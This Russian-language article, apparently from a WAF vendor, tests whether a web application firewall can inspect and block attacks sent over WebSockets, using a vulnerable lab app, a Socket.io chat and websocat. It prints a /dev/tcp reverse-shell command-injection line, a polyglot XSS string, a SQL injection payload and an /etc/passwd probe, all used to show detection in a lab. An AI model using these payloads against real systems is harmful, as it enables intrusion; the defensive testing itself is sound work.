WAF для Вебсокетов: рабочее решение или иллюзия?

60303adc53e436ff6bda275265bac7bc.jpg

Есть мнение, что в силу особенностей вебсокетов, WAF не может их нормально анализировать и защищать. Давайте попробуем разобраться, насколько это утверждение справедливо…

Сперва несколько слов о том что есть вебсокет и где он применяется.

Кратко о websockets

Особенности протокола

  • Работает поверх TCP-соединения.

  • Двухсторонний обмен данными в рамках постоянного соединения в реальном времени с минимальными накладными расходами.

  • Для установления соединения клиент формирует особый HTTP-запрос, на который сервер отвечает определенным образом, т.е. происходит переключение с HTTP на Websocket.

  • Стандартизирован IETF в виде RFC 6455 в 2011 году, актуальные данные тут.

  • Может быть использован для любого клиентского или серверного приложения.

  • Поддерживается всеми современными браузерами.

  • Есть библиотеки для популярных языков: Objective-C, .NET, Ruby, Java, node.js, ActionScript.

  • Для протокола есть расширение RFC 7692 для сжатия данных.

Процедура переключения с HTTP на сокеты довольно неплохо описана в википедии.

Примеры реализаций:

Есть еще любопытные реализации типа websocketd;)

Еще больше информации тут https://github.com/facundofarias/awesome-websockets.

Области применения:

  • Приложения реального времени: дашборды, панели мониторинга, торговые терминалы

  • Игры

  • Чат-приложения

Распространенные уязвимости и атаки на websockets

Для простоты условно разделю уязвимости на несколько групп:

  • Атаки на безопасность сеанса (Broken Access Control)

  •  Cross-Site WebSocket Hijacking (CSWSH). Аналог CSRF

  • Атаки на бизнес логику

  • Race Conditions

  • DoS & DDoS

  • Неуправляемое потребление ресурсов (Resource Exhaustion): атаки, направленные на исчерпание ресурсов сервера или клиента, таких как память или процессорное время, путем создания большого количества WebSocket-соединений

  • Исчерпание количества tcp соединений

  • Атаки, связанные с недостаточной фильтрацией пользовательского ввода

  • Всевозможные injections

  • SSRF

  • Атаки на реализацию websocket

  • Ошибки в серверах и библиотеках. Для примера

  • Сетевые атаки

  • Атаки «Человек посередине» (MITM): злоумышленник перехватывает и изменяет сообщения, передаваемые между клиентом и сервером

  • Сниффинг: анализ трафика WebSocket для получения конфиденциальных данных

Как видите, возможностей у атакующего немало, отсюда и для разработчиков WAF задача по защите выглядит непросто.

К разнообразию атак нужно еще добавить:

  • Любые варианты кодирования данных, передаваемых внутри сокета: json, plaintext, сериализация, кастомные форматы, бинарные данные.

  • Сложность реализации поведенческого анализа, ввиду того, что данные передаются внутри одной сессии (соединения).

И все же многие WAF заявляют о поддержке вебсокетов…

Как протестировать WAF на защиту вебсокетов?

Тестировать будем обнаружение инъекций, т.к. это наиболее простой и наглядный сценарий, к тому же это можно считать базовой функциональностью.

По результатам тестирования можно будет судить о возможностях WAF разбирать и парсить веб сокеты, а также о качестве сигнатур.

Общая логика — поднять websocket-бэкенд, настроить прохождение трафика через WAF, отправлять разнообразные payload и следить за реакцией.

Все очень похоже на обычное тестирование WAF, про которое мы уже писали ранее.

Оса не проскочит: разбираемся в методиках тестирования и сравнения  ̶ а̶н̶т̶и̶м̶о̶с̶к̶и̶т̶н̶ы̶х̶ ̶с̶е̶т̶о̶к̶   WAF

Сколько попугаев выдает ваш WAF? Обзор утилит для тестирования

Разница лишь в транспорте.

Покажу тестирование на примере нашего продукта, благо он у меня всегда в наличии )

А для разнообразия попробуем несколько реализаций вебсокетов.

  1. OWASP Damn Vulnerable Web Sockets (DVWS)

https://github.com/interference-security/DVWS

Довольно старый проект, написан на php, для вебсокетов использует библиотеку Ratchet. Приложение содержит множество уязвимостей:   SQLi, Command Injection, XSS, LFI. Подробнее предлагаю посмотреть на странице проекта. При желании можно найти writeup, как пример.

Авторы не добавили в проект Dockerfile, что несколько неудобно, но это не беда, его и docker-compose можно взять из Pull request, что я и сделал, запустив приложение.

На порту 8888 будет висеть фронт, а на 8081 вебсокет.

Пример конфига NGINX для проксирования и фильтрации трафика через WMX ноду:  

server {
    listen 80;
    server_name dvws.local;
    wallarm_mode block;
    wallarm_parse_websocket on;

    location / {
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
      proxy_pass http://127.0.0.1:8081;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
 }

Сперва нужно выполнить первоначальную настройку приложения перейдя на http://dvws.local:8888/setup.php

А теперь давайте попробуем проэксплуатировать баги и посмотреть на коммуникацию между клиентом и сервером.

На странице command-execution сначала в поле адрес вставим IP адрес:

bc509bfcaa0fc0cb6de7ab7f3c4e625f.png

В режиме разработчика видно что данные идут через вебсокет.

bf1a078e634998bfb630de973b0010de.png

А потом попробуем добавить к нему reverse shell:

1.1.1.1; 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

89757b9a6b107e0fff9aeca9b8eb112d.pngebb0e9d91dd7eb0bba55ef2f345e4bb0.png

Пример события в ЛК:

9d3df7d6fdb24eef5d13305fee0a5b6f.jpg

Как видите, в этом случае данные передаются в plain text, и для WAF нет особой проблемы их распарсить.

С эксплуатацией других уязвимостей DVWS ситуация схожая, давайте перейдем дальше.

  1. Socket.io

Взглянем на Node.js имплементацию, увы, на этот раз без специально оставленных уязвимостей ;) Возьмем пример чата из https://github.com/socketio/socket.io/tree/main/examples/chat

Запуск тестового приложения:

git clone https://github.com/socketio/socket.io
cd socket.io/examples/chat/
npm i
npm start

Сервис запустится на порту 3000.

Пример конфига NGINX, я не стал менять server_name, оставил dvws.local.

server {
    listen 80;
    server_name dvws.local;
    wallarm_mode block;
    wallarm_parse_websocket on;

location / {
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
      proxy_set_header Host $host;
      proxy_pass http://127.0.0.1:3000;
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
    }
 }

Попробуем отправить несколько запросов и понаблюдать за коммуникацией.

93bc9883744e3b7188de8d0173bf93e6.png

Попробуем отправить какую-нибудь XSS.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e

c689c3d831dcc3820279c03c8a031ce3.png3eccbfc8465362364aa1fa90283a43a7.pngf47551b31fdbe636773d6658aeaa9ab9.jpg

Атаки обнаружены, TCP соединение разорвано, а в консоли управления есть соответствующие события.

Websocat

И напоследок попробуем провести более интересное тестирование. Воспользуемся websocat как для имитации сервера, так и для отправки разнообразных payload. Передаваемые данные будем сжимать используя gzip, оборачивать в json и кодировать в base64.

Для начала нужно взять бинарник со страницы проекта.

Запуск сервера:

./websocat -s 127.0.0.1:3000

Конфиг NGINX смотри выше.

Несколько примеров запуска:

# простой интерактивный режим
./websocat ws://dvws.local -E

# простой интерактивный режим с детальным выводом
./websocat ws://dvws.local -E -vv

# Оборачивать payload в JSON, method и params. {"jsonrpc":"2.0","id":1, "method":"f", "params":[]}
./websocat ws://dvws.local/ --jsonrpc -E

# сжимать передаваемы данные gzip
./websocat ws://dvws.local/ --binary --compress-gzip -E 

#
echo "/etc/passwd" | ./websocat - log:timestamp:"ws://dvws.local" -E

Но это все для единичных запросов… Веселее будет в качестве источника payload взять:

  • https://github.com/swisskyrepo/PayloadsAllTheThings

  • https://wmx-public.gitlab.yandexcloud.net/wmx-public/gotestwaf/-/tree/master/testcases

  • https://github.com/nemesida-waf/waf-bypass/tree/master/utils/payload

  • Что-то еще на ваш выбор ;)

Далее сформировать файлы, содержащие множество атак, а также отдельные файлы с false-positive, и прогнать пачкой. Сделать это можно подручными средствами.

payloads_send.sh

#!/bin/bash

TARGET="ws://ws.0x56.ru/"
FILENAME=$1
ENCODING=$2

if [[ $# -eq 0 ]] ; then
    echo 'Usage example: payloads_send.sh _payloads_file_ _encoding_method_'
    echo 'Encoding methods: plain, base64, gzip, json'
    exit 1
fi

while IFS= read -r line
do
  echo "$line"
  case "$ENCODING" in
    plain) echo "$line" | ./websocat $TARGET --binary -E ;;
    base64) echo "$line" | base64 | ./websocat $TARGET --binary -E ;;
    gzip) echo "$line" | gzip | ./websocat $TARGET --binary -E ;;
    json) echo "SOME_METHOD $line" | ./websocat $TARGET --text --jsonrpc -E ;;
    *) echo "$line" | ./websocat $TARGET --binary -E ;;
  esac
  shift
done < "$FILENAME"

На стороне сервера можно включить запись прошедших payload в файл, чтобы потом возможно было сделать diff и понять что проходит через WAF, а что — нет.

./websocat ws-l:127.0.0.1:3000 writefile:passed.txt

Либо просто посмотреть на вывод websocat сервера в STDOUT.

Для наглядности — запустил websocat с флагом –vv и попробовал среди прочего отправить:

123) AND 12=12 AND JSON_DEPTH('{}') != 2521

8c78c965498f53de7d3695a79ab04063.jpg

До backend эта атака не дошла.

4ad7cde88a167ea4bb29615c2b32d388.png93c61750c499ef917a4d9504c6a8a07d.jpg

Рекомендации по безопасности

  • Используйте WSS (WebSockets Secure) вместо незашифрованных websockets.

  • Используйте CSRF токены для защиты от CSWSH.

  • Проверяйте заголовок ORIGIN для защиты от CSWSH.

  • Проверяйте и экранируйте пользовательский ввод.

  • Используйте Rate Limiting для уменьшения рисков атак на отказ в обслуживании (DoS).

  • Задайте ограничения на максимальный размер передаваемых данных внутри websocket, это снизит риски DoS.

  • Используйте WAF с поддержкой websockets  ;)

  • Если в вашем WAF заявлена поддержка вебсокетов, то не лишним будет её протестировать.

  Инструментарий и полезные ссылки

https://github.com/PalindromeLabs/STEWS

https://github.com/PalindromeLabs/awesome-websocket-security

https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets

https://book.hacktricks.xyz/pentesting-web/websocket-attacks

https://portswigger.net/web-security/websockets

https://github.com/PalindromeLabs/WebSockets-Playground

  Заключение

В начале статьи был поставлен вопрос о возможности WAF обрабатывать и защищать websocket. Как видите WAF с этим справляется, но с некоторыми оговорками:

  • У WAF должен быть отдельный модуль или парсер заточенный под вебсокет.

  • Если ваше приложение использует расширение RFC 7692, то и WAF должен его поддерживать.

  • Должен иметься механизм работы с false-positive. 

  • Должен работать парсинг данных внутри вебсокета.

  • WAF будет очень тяжело или вовсе невозможно анализировать сообщения внутри вебсокета если используются бинарные / кастомные протоколы передачи данных.

  • Тяжело или невозможно реализовать поведенческий анализ.

Если защита вебсокетов для вас актуальна — приходите к нам на бесплатный пилот.

Удачи в защите! Буду рад конструктивной критике и дополнениям.

Подписывайтесь на канал. Здесь мы делимся информацией по продукту, нашими находками и наработками, пока они не оформляются в большой статический материал.

© Habrahabr.ru